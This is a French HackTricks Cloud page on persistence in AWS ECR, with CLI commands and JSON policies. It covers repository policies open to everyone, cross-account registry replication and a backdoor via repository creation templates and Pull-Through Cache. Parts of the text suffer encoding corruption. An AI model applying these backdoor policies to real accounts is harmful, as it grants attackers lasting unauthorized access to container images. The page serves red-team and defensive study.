AWS - ECR Persistance
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
ECR
Pour plus dâinformations, consultez :
Image Docker cachée contenant du code malveillant
Un attaquant pourrait tĂ©lĂ©verser une image Docker contenant du code malveillant dans un repository ECR et lâutiliser pour maintenir la persistance dans le compte AWS cible. Lâattaquant pourrait ensuite dĂ©ployer lâimage malveillante sur divers services du compte, tels que Amazon ECS ou EKS, de maniĂšre discrĂšte.
Politique du dépÎt
Ajoutez une politique Ă un dĂ©pĂŽt unique pour vous accorder (ou accorder Ă tout le monde) lâaccĂšs au dĂ©pĂŽt :
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
Warning
Notez que ECR exige que les utilisateurs disposent de lâautorisation dâappeler lâAPI
ecr:GetAuthorizationTokenvia une stratĂ©gie IAM avant de pouvoir sâauthentifier sur un registre et pousser ou tirer des images depuis nâimporte quel dĂ©pĂŽt Amazon ECR.
Politique de registre et réplication inter-comptes
Il est possible de rĂ©pliquer automatiquement un registre dans un compte externe en configurant la rĂ©plication inter-comptes, oĂč vous devez indiquer le compte externe dans lequel vous souhaitez rĂ©pliquer le registre.
.png)
Tout dâabord, vous devez accorder au compte externe lâaccĂšs au registre via une politique de registre telle que :
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
Ensuite, appliquez la configuration de réplication :
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
ModÚles de création de repository (préfixe backdoor pour les futurs repos)
Abuser des Repository Creation Templates dâECR pour backdoor automatiquement tout repository quâECR crĂ©e automatiquement sous un prĂ©fixe contrĂŽlĂ© (par exemple via Pull-Through Cache ou Create-on-Push). Cela accorde un accĂšs persistant non autorisĂ© aux futurs repos sans toucher aux existants.
- Permissions requises : ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (utilisé par le template), iam:PassRole (si un rÎle personnalisé est attaché au template).
- Impact : Tout nouveau repository créé sous le prĂ©fixe ciblĂ© hĂ©rite automatiquement dâune repository policy contrĂŽlĂ©e par lâattaquant (p. ex., lecture/Ă©criture inter-compte), de la mutabilitĂ© des tags et des paramĂštres dâanalyse par dĂ©faut.
Backdoor les futurs repos créés par PTC sous un préfixe choisi
```bash # Region REGION=us-east-11) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<âJSONâ { âVersionâ: â2012-10-17â, âStatementâ: [ { âSidâ: âBackdoorRWâ, âEffectâ: âAllowâ, âPrincipalâ: {âAWSâ: â*â}, âActionâ: [ âecr:BatchCheckLayerAvailabilityâ, âecr:BatchGetImageâ, âecr:GetDownloadUrlForLayerâ, âecr:InitiateLayerUploadâ, âecr:UploadLayerPartâ, âecr:CompleteLayerUploadâ, âecr:PutImageâ ] } ] } JSON
2) Create a Repository Creation Template for prefix âptc2â applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template âregion $REGION âprefix ptc2 âapplied-for PULL_THROUGH_CACHE âimage-tag-mutability MUTABLE ârepository-policy file:///tmp/repo_backdoor_policy.json
3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
This example caches from Amazon ECR Public namespace ânginxâ
aws ecr create-pull-through-cache-rule âregion $REGION âecr-repository-prefix ptc2 âupstream-registry ecr-public âupstream-registry-url public.ecr.aws âupstream-repository-prefix nginx
4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity âquery Account âoutput text) aws ecr get-login-password âregion $REGION | docker login âusername AWS âpassword-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy âregion $REGION ârepository-name ptc2/nginx âquery policyText âoutput text | jq .
</details>
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

